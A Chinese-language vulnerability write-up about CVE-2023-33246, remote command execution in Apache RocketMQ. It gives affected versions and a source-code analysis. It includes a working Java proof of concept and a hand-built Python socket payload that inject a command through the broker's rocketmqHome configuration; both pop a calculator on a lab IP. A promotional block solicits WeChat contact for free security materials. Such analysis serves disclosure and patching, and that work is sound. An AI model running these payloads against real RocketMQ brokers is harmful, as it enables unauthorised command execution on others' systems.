首页 > 其他分享 >Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

时间:2023-08-01 19:57:52浏览次数:37  
标签:RocketMQ 33246 java json 代码执行 2023 apache org rocketmq

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
​
import java.util.Properties;
​
public class poc1 {
    public static void main(String[] args) throws Exception {
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

漏洞分析

image

image

image

image

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code 代表调用不同的功能

imageorg/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest

image​​org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

image​​org/apache/rocketmq/remoting/Configuration.java#update

image

如果属性名是其内置的,就进行更新操作

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

image​​org/apache/rocketmq/broker/BrokerController.java#start

image​​org/apache/rocketmq/broker/BrokerController.java#startBasicService

image​​org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

image

根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞

import socket
import binascii
client = socket.socket()
​
# you ip
client.connect(('192.168.222.130',10911))
​
# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body
​
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块​

image

    更多网安技能的在线实操练习,请点击这里>>

 

标签:RocketMQ,33246,java,json,代码执行,2023,apache,org,rocketmq
From: https://www.cnblogs.com/hetianlab/p/17598921.html

相关文章

  • 2023模式识别课程师资培训会重磅招募
    人工智能已成为国际竞争的新焦点,也是我国的国家战略。《模式识别》是面向人工智能方向主干课程,对人工智能人才培养及人工智能专业建设具有举足轻重的作用。为推动人工智能专业人员的培养,重点领域模式识别课程群虚拟教研室、北京航空航头大学、北京邮电大学、北京百度网讯科技有限公......
  • 2023/08/01
    天梯图书阅览室请你编写一个简单的图书借阅统计程序。当读者借书时,管理员输入书号并按下S键,程序开始计时;当读者还书时,管理员输入书号并按下E键,程序结束计时。书号为不超过1000的正整数。当管理员将0作为书号输入时,表示一天工作结束,你的程序应输出当天的读者借书次数和平均阅读时......
  • $2023$ 大湾区游寄
    (\(7\)月\(7\)日就写了,现在搬过来。)前言:输麻了。下午\(1\)点半跟彭老师和李老师到省实,在门口拍了张合照,顺便把德育作业解决了。\(2\)点\(25\)分,提前\(5\)分钟发了PDF试题,看T1,审题注意到了选择的区间大于\(1\),并且发现数据有\(80\)分全是\(1\)的,于是开始考试后......
  • 2023年万邦淘宝/天猫获得淘宝商品详情 数据,API 返回值说明
    item_get-获得淘宝商品详情注册Key和secret请求参数请求参数:num_iid=520813250866&is_promotion=1参数说明:num_iid:淘宝商品IDis_promotion:是否获取取促销价响应参数Version:Date:2022-04-04名称类型必须示例值描述itemitem[]1宝贝详情数据num_iidBigint1520813250866宝贝IDtitl......
  • 2023.7.19
    Linuxkernelplatformabstractionanddatastructuresstructdevice,structdevice_driver,andstructbus_typeinclude/linux/device.h:Devicedriverbasestructure include/linux/device/driver.h  Driverregistration 最好在模组的__init和__exit里......
  • CAIP----2023省赛
    RC-u2出院 注意:只需要将名字拆分成两个已知等级的部分 我比赛的时候根本没看到这两个字,写到最后写了个复杂的递归,还错了.... 我直接要进院了 RC-u4相对论大师 当时看到的时候一眼觉得的拓扑排序???  赛后想一下,他题目可没说这个图不能......
  • 2023年最新面试题
    1、写出js遍历的几种方法。2、Vue子组件如何调用父组件方法,父组件如何调用子组件方法。3、父子组件之间通信,如何对数据进行深度监听。4、写出一个闭包5、写出至少两种水平垂直居中的方法6、已知一个对象a,在不知道第一个属性键名的情况下,如何获取其第一个属性的值?7、写出一......
  • 7K+游戏本怎么选?惠普暗影精灵9 VS 联想拯救者R7000P 2023:酷睿i5-13500HX多核占优
    一、前言:7K价位热度最高的游戏本Intel/AMD孰强孰弱?Intel、AMD两家之争,无论桌面端还是移动端、游戏本还是轻薄本,都铆足了劲想要超越对方,尤其在笔记本上厮杀更为激烈。最近,快科技收到了两台7K价位的游戏本,分别是搭载酷睿i5-13500HX的惠普暗影精灵9、基于锐龙77840H的拯救者R7000......
  • Best Heavy Duty Truck Diagnostic Software Of 2023 Completed List
    Diagnostictoolsareessentialintheautomotiveindustryforidentifyingandresolvingissueswithvehicles.Thesetoolsprovidetechnicianswiththenecessaryinformationtodiagnoseandrepairproblemsefficiently.Inthisarticle,wewillexplorethe......
  • 论文翻译:SSI-Net: A MULTI-STAGE SPEECH SIGNAL IMPROVEMENT SYSTEM FOR ICASSP 2023
    摘要ICASSP2023语音信号改善(SSI)挑战赛的重点是提高实时通信(RTC)系统的语音信号质量。本文介绍了提交ICASSP2023SSI挑战赛的语音信号改进网络(SSI-Net),该网络满足实时条件。提出的SSI-Net具有多阶段体系结构。在语音恢复的第一阶段,我们提出了时域恢复生成对抗网络(TRGA......